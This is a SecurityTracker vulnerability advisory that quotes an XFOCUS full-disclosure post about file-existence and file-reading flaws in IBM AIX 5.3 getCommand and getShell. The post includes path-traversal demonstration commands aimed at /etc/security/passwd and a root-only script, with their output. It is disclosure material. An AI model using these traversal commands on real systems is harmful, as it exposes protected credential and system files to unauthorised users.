IBM AIX getcommand/getshell Commands Disclose Contents of Shell Files to Local Users
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SecurityTracker Alert ID: 1015429 |
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SecurityTracker URL: http://securitytracker.com/id/1015429
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Jan 1 2006
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Impact:
Disclosure of system information, Disclosure of user information
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Exploit Included: Yes
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Version(s): AIX 5.3
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Description:
A vulnerability was reported in IBM AIX. A local user can view shell documents. A local user can determine if files exist on the target system.
The getCommand and getShell commands allow a local user to determine if a file exists or not because the commands return different information if a non-existent file is specified.
A local user can also view shell files on the target system.
A demonstration exploit command is provided:
./getCommand.new ../../../../../tmp/k.sh
The vendor was notified on December 26, 2005.
XFOCUS discovered these vulnerabilities.
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Impact:
A local user can view the contents of shell documents on the target system.
A local user can determine if files exist on the target system.
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Solution:
No solution was available at the time of this entry.
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Vendor URL: www.ibm.com/ (Links to External Site)
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Cause:
Access control error
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Underlying OS:
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Message History:
None.
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Source Message Contents
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Date: Sun, 01 Jan 2006 16:19:35 +0800
Subject: [Full-disclosure] [xfocus-SD-060101]AIX getCommand&getShell two
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Title:[xfocus-SD-060101]AIX getCommand&getShell two vulnerabilities
Affected version : aix5.3 ml03,Other versions not test,
should also be affected.
Vendor: http://www.ibm.com/
Where: Local
XFOCUS (http://www.xfocus.org) had already discovered
some vulnerabilities in getCommand&getShell.
After apply newest patch,getCommand&getShell still have two
vulnerabilities,That is
1: exploit that,a attacker can determine file be exist or not,which
should can't readed
2: exploit that,a attacker can read in any shell document(include no
permission file) has the cd operation the following partial content.
example test:
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd.aa
fopen: No such file or directory
-bash-3.00$ ls -ld /etc/security/
drwxr-x--- 4 root security 512 2005-12-22 21:09 /etc/security/
-bash-3.00$ ls -l /tmp/k.sh -rwx------ 1 root system 79 2005-12-22 23:40
/tmp/k.sh
-bash-3.00$./getCommand.new ../../../../../tmp/k.sh
ps -ef > /tmp/log. $$
grep test /tmp/log.
$$ rm /tmp/log. $$
-bash-3.00$
TIME LINE:
December,26 2005 - Initial vendor notification
.....Waiting.....Waiting....
January 1, 2006 - Public disclosure(vendor not reply)
--EOF
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Kind Regards,
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XFOCUS Security Team
http://www.xfocus.org
_______________________________________________
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